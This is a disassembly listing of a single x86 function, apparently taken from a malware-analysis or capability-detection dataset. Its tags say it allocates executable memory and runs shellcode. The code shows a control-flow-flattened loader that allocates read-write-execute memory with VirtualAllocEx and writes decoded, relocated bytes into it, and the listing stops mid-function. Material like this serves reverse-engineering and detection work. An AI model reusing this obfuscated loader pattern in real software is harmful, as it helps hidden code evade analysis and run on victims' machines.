Function at 0x407a60
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x278
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x74], eax
mov dword [ebp - 0x78], edx
mov dword [ebp - 0x7c], 0
mov dword [ebp - 0x80], 0
mov dword [ebp - 0x84], 0
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x8c], 0
mov dword [ebp - 0x90], 0
mov dword [ebp - 0x94], 0
mov dword [ebp - 0x98], 0
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xb0], 0
mov dword [ebp - 0xb4], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0xcc], 0x23c1024f
mov eax, dword [ebp - 0xcc]
mov ecx, eax
sub ecx, 0x769f0957
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xd4], ecx
jg 0x4080ea
jmp 0x407b1b
mov eax, dword [ebp - 0xd0]
sub eax, 0x83f03273
mov dword [ebp - 0xd8], eax
jg 0x407b53
jmp 0x407b37
mov eax, dword [ebp - 0xd0]
sub eax, 0x818c6816
mov dword [ebp - 0xdc], eax
je 0x408b6f
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x8902511d
mov dword [ebp - 0xe0], eax
jg 0x407b8b
jmp 0x407b6f
mov eax, dword [ebp - 0xd0]
sub eax, 0x83f03274
mov dword [ebp - 0xe4], eax
je 0x40816a
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x8a4d662f
mov dword [ebp - 0xe8], eax
jg 0x407bc3
jmp 0x407ba7
mov eax, dword [ebp - 0xd0]
sub eax, 0x8902511e
mov dword [ebp - 0xec], eax
je 0x4083ba
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0xc558d64f
mov dword [ebp - 0xf0], eax
jg 0x407bfb
jmp 0x407bdf
mov eax, dword [ebp - 0xd0]
sub eax, 0x8a4d6630
mov dword [ebp - 0xf4], eax
je 0x4083a4
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0xc6ccc6d0
mov dword [ebp - 0xf8], eax
jg 0x407c33
jmp 0x407c17
mov eax, dword [ebp - 0xd0]
sub eax, 0xc558d650
mov dword [ebp - 0xfc], eax
je 0x408a99
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0xc976fd6f
mov dword [ebp - 0x100], eax
jg 0x407c6b
jmp 0x407c4f
mov eax, dword [ebp - 0xd0]
sub eax, 0xc6ccc6d1
mov dword [ebp - 0x104], eax
je 0x40812c
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0xcd92011e
mov dword [ebp - 0x108], eax
jg 0x407ca3
jmp 0x407c87
mov eax, dword [ebp - 0xd0]
sub eax, 0xc976fd70
mov dword [ebp - 0x10c], eax
je 0x408b60
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0xd162f8fb
mov dword [ebp - 0x110], eax
jg 0x407cdb
jmp 0x407cbf
mov eax, dword [ebp - 0xd0]
sub eax, 0xcd92011f
mov dword [ebp - 0x114], eax
je 0x4087ab
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x73d84926
mov dword [ebp - 0x118], eax
jg 0x4080ce
jmp 0x407cf7
mov eax, dword [ebp - 0xd0]
sub eax, 0x73585304
mov dword [ebp - 0x11c], eax
jg 0x4080b2
jmp 0x407d13
mov eax, dword [ebp - 0xd0]
sub eax, 0x7050e553
mov dword [ebp - 0x120], eax
jg 0x408095
jmp 0x407d2f
mov eax, dword [ebp - 0xd0]
sub eax, 0x5cd79bff
mov dword [ebp - 0x124], eax
jg 0x408079
jmp 0x407d4b
mov eax, dword [ebp - 0xd0]
sub eax, 0x593a4b03
mov dword [ebp - 0x128], eax
jg 0x40805c
jmp 0x407d67
mov eax, dword [ebp - 0xd0]
sub eax, 0x403af659
mov dword [ebp - 0x12c], eax
jg 0x408040
jmp 0x407d83
mov eax, dword [ebp - 0xd0]
sub eax, 0x23c1024e
mov dword [ebp - 0x130], eax
jg 0x408024
jmp 0x407d9f
mov eax, dword [ebp - 0xd0]
sub eax, 0x1fcb0517
mov dword [ebp - 0x134], eax
jg 0x408007
jmp 0x407dbb
mov eax, dword [ebp - 0xd0]
sub eax, 0x1a092f41
mov dword [ebp - 0x138], eax
jg 0x407feb
jmp 0x407dd7
mov eax, dword [ebp - 0xd0]
sub eax, 0xd2a8df8
mov dword [ebp - 0x13c], eax
jg 0x407fcf
jmp 0x407df3
mov eax, dword [ebp - 0xd0]
sub eax, 0x3642018
mov dword [ebp - 0x140], eax
jg 0x407fb3
jmp 0x407e0f
mov eax, dword [ebp - 0xd0]
sub eax, 0x27a8039
mov dword [ebp - 0x144], eax
jg 0x407f97
jmp 0x407e2b
mov eax, dword [ebp - 0xd0]
sub eax, 0x12c273e
mov dword [ebp - 0x148], eax
jg 0x407f7b
jmp 0x407e47
mov eax, dword [ebp - 0xd0]
sub eax, 0xf17aac05
mov dword [ebp - 0x14c], eax
jg 0x407f5f
jmp 0x407e63
mov eax, dword [ebp - 0xd0]
sub eax, 0xecb43030
mov dword [ebp - 0x150], eax
jg 0x407f43
jmp 0x407e7f
mov eax, dword [ebp - 0xd0]
sub eax, 0xec112224
mov dword [ebp - 0x154], eax
jg 0x407f27
jmp 0x407e9b
mov eax, dword [ebp - 0xd0]
sub eax, 0xd7b921ea
mov dword [ebp - 0x158], eax
jg 0x407f0b
jmp 0x407eb7
mov eax, dword [ebp - 0xd0]
sub eax, 0xd162f8fc
mov dword [ebp - 0x15c], eax
je 0x408f65
jmp 0x407ed3
mov eax, dword [ebp - 0xd0]
sub eax, 0xd1a1c59e
mov dword [ebp - 0x160], eax
je 0x408565
jmp 0x407eef
mov eax, dword [ebp - 0xd0]
sub eax, 0xd623a18b
mov dword [ebp - 0x164], eax
je 0x4083f4
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0xd7b921eb
mov dword [ebp - 0x168], eax
je 0x408f8c
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0xec112225
mov dword [ebp - 0x16c], eax
je 0x408e84
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0xecb43031
mov dword [ebp - 0x170], eax
je 0x4083dc
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0xf17aac06
mov dword [ebp - 0x174], eax
je 0x408ef1
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x12c273f
mov dword [ebp - 0x178], eax
je 0x408e9d
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x27a803a
mov dword [ebp - 0x17c], eax
je 0x408d9a
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x3642019
mov dword [ebp - 0x180], eax
je 0x40886e
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0xd2a8df9
mov dword [ebp - 0x184], eax
je 0x408544
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x1a092f42
mov dword [ebp - 0x188], eax
je 0x408f74
jmp 0x408106
mov eax, dword [ebp - 0xd0]
add eax, 0xe034fae8
mov dword [ebp - 0x18c], eax
je 0x40814b
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x23c1024f
mov dword [ebp - 0x190], eax
je 0x40810b
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x403af65a
mov dword [ebp - 0x194], eax
je 0x408eac
jmp 0x408106
mov eax, dword [ebp - 0xd0]
add eax, 0xa6c5b4fc
mov dword [ebp - 0x198], eax
je 0x408f20
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x5cd79c00
mov dword [ebp - 0x19c], eax
je 0x408dda
jmp 0x408106
mov eax, dword [ebp - 0xd0]
add eax, 0x8faf1aac
mov dword [ebp - 0x1a0], eax
je 0x408180
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x73585305
mov dword [ebp - 0x1a4], eax
je 0x4084bc
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x73d84927
mov dword [ebp - 0x1a8], eax
je 0x408db3
jmp 0x408106
mov eax, dword [ebp - 0xd0]
sub eax, 0x769f0958
mov dword [ebp - 0x1ac], eax
je 0x4084d2
jmp 0x408106
jmp 0x408f9a
mov eax, 0xc6ccc6d1
mov ecx, 0x83f03274
mov edx, dword [ebp - 0x68]
cmp edx, 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408f9a
mov eax, 0x1fcb0518
mov ecx, 0x83f03274
cmp dword [ebp - 0x74], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408f9a
mov eax, 0x7050e554
mov ecx, 0x83f03274
cmp dword [ebp - 0x70], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408f9a
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0xd7b921eb
jmp 0x408f9a
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x64], 0x8093f151
mov eax, dword [ebp - 0x64]
mov ecx, eax
sub ecx, 0x2e807ef0
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x1b4], ecx
jg 0x4082b2
jmp 0x4081b6
mov eax, dword [ebp - 0x1b0]
sub eax, 0x17f7ad0c
mov dword [ebp - 0x1b8], eax
jg 0x408296
jmp 0x4081d2
mov eax, dword [ebp - 0x1b0]
sub eax, 0xe79a59f0
mov dword [ebp - 0x1bc], eax
jg 0x40827a
jmp 0x4081ee
mov eax, dword [ebp - 0x1b0]
sub eax, 0xd031fc7f
mov dword [ebp - 0x1c0], eax
jg 0x40825e
jmp 0x40820a
mov eax, dword [ebp - 0x1b0]
sub eax, 0x8093f151
mov dword [ebp - 0x1c4], eax
je 0x4082d3
jmp 0x408226
mov eax, dword [ebp - 0x1b0]
sub eax, 0x88ac833a
mov dword [ebp - 0x1c8], eax
je 0x408345
jmp 0x408242
mov eax, dword [ebp - 0x1b0]
sub eax, 0xa415e3b2
mov dword [ebp - 0x1cc], eax
je 0x408339
jmp 0x4082ce
mov eax, dword [ebp - 0x1b0]
sub eax, 0xd031fc80
mov dword [ebp - 0x1d0], eax
je 0x4082f1
jmp 0x4082ce
mov eax, dword [ebp - 0x1b0]
sub eax, 0xe79a59f1
mov dword [ebp - 0x1d4], eax
je 0x40831b
jmp 0x4082ce
mov eax, dword [ebp - 0x1b0]
sub eax, 0x17f7ad0d
mov dword [ebp - 0x1d8], eax
je 0x40837f
jmp 0x4082ce
mov eax, dword [ebp - 0x1b0]
sub eax, 0x2e807ef1
mov dword [ebp - 0x1dc], eax
je 0x40836c
jmp 0x4082ce
jmp 0x40837a
mov eax, 0x2e807ef1
mov ecx, 0xd031fc80
mov edx, dword [ebp - 0x60]
cmp edx, dword [0x419530]
cmovb eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x40837a
mov eax, 0xa415e3b2
mov ecx, 0xe79a59f1
lea edx, [0x419500]
imul esi, dword [ebp - 0x60], 0xc
add edx, esi
mov edx, dword [edx + 4]
cmp edx, dword [ebp - 0x5c]
cmove eax, ecx
mov dword [ebp - 0x64], eax
jmp 0x40837a
lea eax, [0x419500]
imul ecx, dword [ebp - 0x60], 0xc
add eax, ecx
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x64], 0x17f7ad0d
jmp 0x40837a
mov dword [ebp - 0x64], 0x88ac833a
jmp 0x40837a
mov eax, 0
mov ecx, dword [ebp - 0x60]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x64], 0x8093f151
jmp 0x40837a
mov dword [ebp - 0x58], 0
mov dword [ebp - 0x64], 0x17f7ad0d
jmp 0x408194
mov eax, 0x8902511e
mov ecx, 0x8a4d6630
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x80], edx
cmp dword [ebp - 0x80], 0
cmove eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408f9a
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0xd7b921eb
jmp 0x408f9a
mov eax, 0xd623a18b
mov ecx, 0xecb43031
mov edx, dword [ebp - 0x80]
cmp dword [edx + 8], 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408f9a
mov eax, dword [ebp - 0x80]
mov eax, dword [eax + 8]
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0xcc], 0xd7b921eb
jmp 0x408f9a
lea eax, [0x419538]
mov ecx, dword [ebp - 0x80]
add eax, dword [ecx]
mov dword [ebp - 0x7c], eax
call fcn.004073c0
mov ecx, 0
mov dword [ebp - 0xc4], eax
mov eax, dword [ebp - 0x7c]
add eax, 0x2f
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0x23]
shl eax, 1
mov edx, dword [ebp - 0x7c]
add edx, 0x2f
shl eax, 2
add edx, eax
mov dword [ebp - 0x8c], edx
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax + 0x23]
shl eax, 1
mov edx, dword [ebp - 0x7c]
mov edx, dword [edx + 0x27]
shl edx, 1
sub ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x7c]
add ecx, 0x2f
shl eax, 2
add ecx, eax
mov dword [ebp - 0x94], ecx
mov eax, dword [ebp - 0x70]
mov ecx, esp
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], 0x1000
mov dword [ecx + 0x10], 0x40
mov dword [ecx + 4], 0
mov dword [ecx], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov ecx, 0x769f0958
mov edx, 0x73585305
mov dword [ebp - 0x9c], eax
cmp dword [ebp - 0x9c], 0
cmove ecx, edx
mov dword [ebp - 0xcc], ecx
jmp 0x408f9a
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0xcc], 0xd7b921eb
jmp 0x408f9a
mov eax, dword [ebp - 0xc4]
mov ecx, dword [0x419534]
sub eax, 0xda08e6b9
sub eax, ecx
add eax, 0xda08e6b9
mov dword [ebp - 0xc8], eax
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x80]
mov dword [ecx + 8], eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xc4]
sub eax, 0xfeaaa84f
add eax, ecx
add eax, 0xfeaaa84f
mov dword [ebp - 0x98], eax
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xcc], 0xd2a8df9
jmp 0x408f9a
mov eax, 0x1a092f42
mov ecx, 0xd1a1c59e
mov edx, dword [ebp - 0xa4]
cmp edx, dword [ebp - 0x70]
cmovb eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408f9a
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0xa4]
add eax, 0x489f75b8
add eax, ecx
sub eax, 0x489f75b8
mov dword [ebp - 0xb8], eax
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x23]
mov edx, dword [ebp - 0x84]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0xc32b79
mov eax, dword [ebp - 0x24]
mov ecx, eax
sub ecx, 0x788b40c1
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1e4], ecx
jg 0x4086c7
jmp 0x4085cb
mov eax, dword [ebp - 0x1e0]
sub eax, 0x6c4e7f8f
mov dword [ebp - 0x1e8], eax
jg 0x4086ab
jmp 0x4085e7
mov eax, dword [ebp - 0x1e0]
sub eax, 0x5825944a
mov dword [ebp - 0x1ec], eax
jg 0x40868f
jmp 0x408603
mov eax, dword [ebp - 0x1e0]
sub eax, 0x3507fb30
mov dword [ebp - 0x1f0], eax
jg 0x408673
jmp 0x40861f
mov eax, dword [ebp - 0x1e0]
sub eax, 0xf5e39eac
mov dword [ebp - 0x1f4], eax
je 0x40874a
jmp 0x40863b
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc32b79
mov dword [ebp - 0x1f8], eax
je 0x4086e8
jmp 0x408657
mov eax, dword [ebp - 0x1e0]
sub eax, 0xc1a0009
mov dword [ebp - 0x1fc], eax
je 0x408724
jmp 0x4086e3
mov eax, dword [ebp - 0x1e0]
sub eax, 0x3507fb31
mov dword [ebp - 0x200], eax
je 0x408771
jmp 0x4086e3
mov eax, dword [ebp - 0x1e0]
sub eax, 0x5825944b
mov dword [ebp - 0x204], eax
je 0x40873e
jmp 0x4086e3
mov eax, dword [ebp - 0x1e0]
sub eax, 0x6c4e7f90
mov dword [ebp - 0x208], eax
je 0x408784
jmp 0x4086e3
mov eax, dword [ebp - 0x1e0]
sub eax, 0x788b40c2
mov dword [ebp - 0x20c], eax
je 0x408703
jmp 0x4086e3
jmp 0x40877f
mov eax, 0x3507fb31
mov ecx, 0x788b40c2
mov edx, dword [ebp - 0x20]
cmp edx, dword [ebp - 0x18]
cmovb eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x40877f
mov eax, 0x5825944b
mov ecx, 0xc1a0009
mov edx, dword [ebp - 0x20]
mov esi, dword [ebp - 0x1c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x14]
cmove eax, ecx
mov dword [ebp - 0x24], eax
jmp 0x40877f
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x24], 0x6c4e7f90
jmp 0x40877f
mov dword [ebp - 0x24], 0xf5e39eac
jmp 0x40877f
mov eax, 0
mov ecx, dword [ebp - 0x20]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0xc32b79
jmp 0x40877f
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x24], 0x6c4e7f90
jmp 0x4085a9
mov eax, 0x3642019
mov ecx, 0xcd92011f
mov edx, dword [ebp - 0x10]
mov dword [ebp - 0x88], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408f9a
mov eax, 0
mov ecx, dword [ebp - 0x88]
mov ecx, dword [ecx + 4]
mov edx, dword [ebp - 0x7c]
mov edx, dword [edx + 0x1f]
mov esi, ecx
xor esi, 0xffffffff
mov edi, edx
and edi, esi
xor edx, 0xffffffff
and ecx, edx
or edi, ecx
mov ecx, dword [ebp - 0xc4]
mov edx, eax
sub edx, ecx
sub edi, edx
mov dword [ebp - 0xbc], edi
mov ecx, dword [ebp - 0xbc]
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
mov edi, eax
sub edi, esi
sub edx, edi
sub edx, 0x18f3a3cd
add edx, 4
add edx, 0x18f3a3cd
add ecx, 0xb7ce32b2
sub ecx, edx
sub ecx, 0xb7ce32b2
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xa4]
sub ecx, 0xab1fa6e8
add ecx, 4
add ecx, 0xab1fa6e8
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp - 0xb0]
sub eax, 1
sub ecx, eax
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xcc], 0xd2a8df9
jmp 0x408f9a
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x27]
mov edx, dword [ebp - 0x8c]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x3c], 0xc32b79
mov eax, dword [ebp - 0x3c]
mov ecx, eax
sub ecx, 0x788b40c1
mov dword [ebp - 0x210], eax
mov dword [ebp - 0x214], ecx
jg 0x4089b5
jmp 0x4088b9
mov eax, dword [ebp - 0x210]
sub eax, 0x6c4e7f8f
mov dword [ebp - 0x218], eax
jg 0x408999
jmp 0x4088d5
mov eax, dword [ebp - 0x210]
sub eax, 0x5825944a
mov dword [ebp - 0x21c], eax
jg 0x40897d
jmp 0x4088f1
mov eax, dword [ebp - 0x210]
sub eax, 0x3507fb30
mov dword [ebp - 0x220], eax
jg 0x408961
jmp 0x40890d
mov eax, dword [ebp - 0x210]
sub eax, 0xf5e39eac
mov dword [ebp - 0x224], eax
je 0x408a38
jmp 0x408929
mov eax, dword [ebp - 0x210]
sub eax, 0xc32b79
mov dword [ebp - 0x228], eax
je 0x4089d6
jmp 0x408945
mov eax, dword [ebp - 0x210]
sub eax, 0xc1a0009
mov dword [ebp - 0x22c], eax
je 0x408a12
jmp 0x4089d1
mov eax, dword [ebp - 0x210]
sub eax, 0x3507fb31
mov dword [ebp - 0x230], eax
je 0x408a5f
jmp 0x4089d1
mov eax, dword [ebp - 0x210]
sub eax, 0x5825944b
mov dword [ebp - 0x234], eax
je 0x408a2c
jmp 0x4089d1
mov eax, dword [ebp - 0x210]
sub eax, 0x6c4e7f90
mov dword [ebp - 0x238], eax
je 0x408a72
jmp 0x4089d1
mov eax, dword [ebp - 0x210]
sub eax, 0x788b40c2
mov dword [ebp - 0x23c], eax
je 0x4089f1
jmp 0x4089d1
jmp 0x408a6d
mov eax, 0x3507fb31
mov ecx, 0x788b40c2
mov edx, dword [ebp - 0x38]
cmp edx, dword [ebp - 0x30]
cmovb eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x408a6d
mov eax, 0x5825944b
mov ecx, 0xc1a0009
mov edx, dword [ebp - 0x38]
mov esi, dword [ebp - 0x34]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x2c]
cmove eax, ecx
mov dword [ebp - 0x3c], eax
jmp 0x408a6d
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x34]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x3c], 0x6c4e7f90
jmp 0x408a6d
mov dword [ebp - 0x3c], 0xf5e39eac
jmp 0x408a6d
mov eax, 0
mov ecx, dword [ebp - 0x38]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x3c], 0xc32b79
jmp 0x408a6d
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x3c], 0x6c4e7f90
jmp 0x408897
mov eax, 0xc976fd70
mov ecx, 0xc558d650
mov edx, dword [ebp - 0x28]
mov dword [ebp - 0x88], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408f9a
mov eax, 0
mov ecx, dword [ebp - 0xb8]
mov edx, dword [ebp - 0xc4]
sub ecx, 0xa33b68c1
add ecx, edx
mov ecx, dword [ecx - 0x5cc4973f]
mov edx, dword [ebp - 0xc8]
add ecx, 0xdd9f74fb
sub ecx, edx
sub ecx, 0xdd9f74fb
mov edx, dword [ebp - 0x7c]
mov edx, dword [edx + 0x1f]
mov esi, ecx
xor esi, 0xffffffff
mov edi, edx
and edi, esi
xor edx, 0xffffffff
and ecx, edx
or edi, ecx
mov ecx, dword [ebp - 0xc8]
sub edi, 0xcf8c3e79
add edi, ecx
add edi, 0xcf8c3e79
mov dword [ebp - 0xc0], edi
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0x9c]
mov esi, dword [ebp - 0xa4]
mov dword [edx + esi], ecx
mov ecx, dword [ebp - 0xa4]
add ecx, 0x79fe54ae
add ecx, 4
sub ecx, 0x79fe54ae
mov dword [ebp - 0xa4], ecx
mov ecx, dword [ebp - 0xb4]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xcc], 0xd2a8df9
jmp 0x408f9a
mov dword [ebp - 0xcc], 0x818c6816
jmp 0x408f9a
mov eax, dword [ebp - 0xa4]
mov ecx, dword [ebp - 0x7c]
mov ecx, dword [ecx + 0x2b]
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x4c], edx
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x54], 0x6c1e0ef1
mov eax, dword [ebp - 0x54]
mov ecx, eax
sub ecx, 0x6c1e0ef0
mov dword [ebp - 0x240], eax
mov dword [ebp - 0x244], ecx
jg 0x408cb6
jmp 0x408bba
mov eax, dword [ebp - 0x240]
sub eax, 0x4044dc0b
mov dword [ebp - 0x248], eax
jg 0x408c9a
jmp 0x408bd6
mov eax, dword [ebp - 0x240]
sub eax, 0xfeadd7bc
mov dword [ebp - 0x24c], eax
jg 0x408c7e
jmp 0x408bf2
mov eax, dword [ebp - 0x240]
sub eax, 0xf92257e2
mov dword [ebp - 0x250], eax
jg 0x408c62
jmp 0x408c0e
mov eax, dword [ebp - 0x240]
sub eax, 0x85d596cb
mov dword [ebp - 0x254], eax
je 0x408d2d
jmp 0x408c2a
mov eax, dword [ebp - 0x240]
sub eax, 0x8960f76d
mov dword [ebp - 0x258], eax
je 0x408cf2
jmp 0x408c46
mov eax, dword [ebp - 0x240]
sub eax, 0x97fa1bd9
mov dword [ebp - 0x25c], eax
je 0x408d60
jmp 0x408cd2
mov eax, dword [ebp - 0x240]
sub eax, 0xf92257e3
mov dword [ebp - 0x260], eax
je 0x408d39
jmp 0x408cd2
mov eax, dword [ebp - 0x240]
sub eax, 0xfeadd7bd
mov dword [ebp - 0x264], eax
je 0x408d13
jmp 0x408cd2
mov eax, dword [ebp - 0x240]
sub eax, 0x4044dc0c
mov dword [ebp - 0x268], eax
je 0x408d73
jmp 0x408cd2
mov eax, dword [ebp - 0x240]
sub eax, 0x6c1e0ef1
mov dword [ebp - 0x26c], eax
je 0x408cd7
jmp 0x408cd2
jmp 0x408d6e
mov eax, 0x97fa1bd9
mov ecx, 0x8960f76d
mov edx, dword [ebp - 0x50]
cmp edx, dword [ebp - 0x48]
cmovb eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x408d6e
mov eax, 0x85d596cb
mov ecx, 0xfeadd7bd
mov edx, dword [ebp - 0x50]
mov esi, dword [ebp - 0x4c]
mov edx, dword [esi + edx*8]
cmp edx, dword [ebp - 0x44]
cmove eax, ecx
mov dword [ebp - 0x54], eax
jmp 0x408d6e
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x4c]
shl eax, 3
add ecx, eax
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x54], 0x4044dc0c
jmp 0x408d6e
mov dword [ebp - 0x54], 0xf92257e3
jmp 0x408d6e
mov eax, 0
mov ecx, dword [ebp - 0x50]
mov edx, eax
sub edx, ecx
mov ecx, eax
sub ecx, 1
add edx, ecx
sub eax, edx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x54], 0x6c1e0ef1
jmp 0x408d6e
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x54], 0x4044dc0c
jmp 0x408b98
mov eax, 0x593a4b04
mov ecx, 0x27a803a
mov edx, dword [ebp - 0x40]
mov dword [ebp - 0x90], edx
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408f9a
mov dword [ebp - 0xac], 0
mov dword [ebp - 0xcc], 0x73d84927
jmp 0x408f9a
mov eax, 0xf17aac06
mov ecx, 0x5cd79c00
mov edx, dword [ebp - 0xac]
mov esi, dword [ebp - 0x90]
cmp edx, dword [esi + 4]
cmovb eax, ecx
mov dword [ebp - 0xcc], eax
jmp 0x408f9a
mov eax, 0x12c273f
mov ecx, 0xec112225
mov edx, 0xffffffff
mov esi, dword [ebp - 0xa4]
mov edi, dword [ebp - 0x98]
movzx esi, byte [edi + esi]
mov edi, dword [ebp - 0xa8]
mov ebx, edi
add ebx, 0xf949e847
add ebx, 1
sub ebx, 0xf949e847
mov dword [ebp - 0xa8], ebx
mov ebx, dword [ebp - 0x7c]
movzx edi, byte [ebx + edi + 1]
mov ebx, esi
xor ebx, 0xffffffff
and ebx, 0x1a581435
xor edx, 0x1a581435
and esi, edx
mov dword [ebp - 0x270], eax
mov eax, edi
xor eax, 0xffffffff
and eax, 0x1a581435
and edi, edx
or ebx, esi
or eax, edi
xor ebx, eax
mov al, bl
mov edx, dword [ebp - 0xa4]
mov esi, dword [ebp - 0x9c]
mov byte [esi + edx], al
mov edx, dword [ebp - 0xa8]
mov esi, dword [ebp - 0x7c]
movzx esi, byte [esi]
cmp edx, esi
mov edx, dword [ebp - 0x270]
cmove edx, ecx
mov dword [ebp - 0xcc], edx
jmp 0x408f9a
mov dword [ebp - 0xa8], 0
mov dword [ebp - 0xcc], 0x12c273f
jmp 0x408f9a
mov dword [ebp - 0xcc], 0x403af65a
jmp 0x408f9a
mov eax, dword [ebp - 0xac]
sub eax, 0xaeadce2b
add eax, 1
add eax, 0xaeadce2b
mov dword [ebp - 0xac], eax
mov eax, dword [ebp - 0xa4]
sub eax, 0xbcd75efa
add eax, 1
add eax, 0xbcd75efa
mov dword [ebp - 0xa4], eax
mov dword [ebp - 0xcc], 0x73d84927
jmp 0x408f9a
mov eax, dword [ebp - 0xac]
mov ecx, dword [ebp - 0xa0]
add ecx, 0xd61d1672
add ecx, eax
sub ecx, 0xd61d1672
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0xcc], 0xd162f8fc
